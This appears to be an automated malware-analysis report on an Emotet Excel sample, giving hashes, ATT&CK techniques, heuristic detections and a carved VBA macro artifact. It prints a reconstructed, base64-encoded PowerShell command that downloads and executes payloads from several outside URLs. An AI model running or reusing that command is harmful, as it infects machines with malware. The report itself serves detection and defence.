Emotet Office (OLE) / .XLS malware analysis — malicious · f48ad9e4361be26a

MALICIOUS

Office (OLE) / .XLS

150.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: b2ac3417e92a957aa90ae9ec9a5a0101 SHA-1: 89cdceaba30b1a4c6a7f3d044296f75cb15d920e SHA-256: f48ad9e4361be26ade53bd8be4932a5c2d123871bb4d2212336ee1dd07994615

280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The ClamAV detection and multiple high-severity heuristics, including OLE_VBA_MACROS and OLE_VBA_PCODE_AUTOEXEC_EXEC, indicate malicious VBA code. The Workbook_Open macro is designed to execute a batch file located at 'c:\programdata\jledshf.bat'. This batch file, in turn, uses a heavily obfuscated PowerShell command to download and execute payloads from multiple URLs. The reconstructed PowerShell command is: 'powershell -e Has4htksdighfdGJSXDghs4tshdkrg zasg3ksjfHXGHJXdfezse34 -enc JABnAGoAcwBlAGIAbgBnAHUAawBpAHcAdQBnADMAawB3AGoAZAA9ACIAaAB0AHQAcAA6AC8ALwBhAGMAdABpAHYAaQBkAGEAZABlAHMALgBsAGEAZgBvAHIAZQB0AGwAYQBuAGcAdQBhAGcAZQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBCAGwAawBkAE8ASwBEAFgATAAvACwAaAB0AHQAcAA6AC8ALwBzAGIAYwBvAHAAeQBsAGkAdgBlAC4AYwBvAG0ALgBiAHIALwByAGoAdQB6AC8AdwAvACwAaAB0AHQAcABzADoALwAvAHQAcgBhAHMAaQB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB5ADUAQQBhADEAagB0ADAAUwBwADIAUQBrAC8ALABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBwAGEAcgBrAGkAbgBzAG8AbgBzAC4AYwBvAC4AaQBuAC8AYQBiAGMALwBZADYAWQAwAGYAVABiAFUARQBnADYALwAsAGgAdAB0AHAAcwA6AC8ALwBi'. This strongly suggests Emotet's typical downloader behavior.

Heuristics 7

ClamAV: Doc.Downloader.EmotetExcel02226-9938630-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02226-9938630-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `006c4f4d54d1c9bb906763adb0bd849cdbbe9d88f3fa78ad2d18ef6987f96c37`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	8906 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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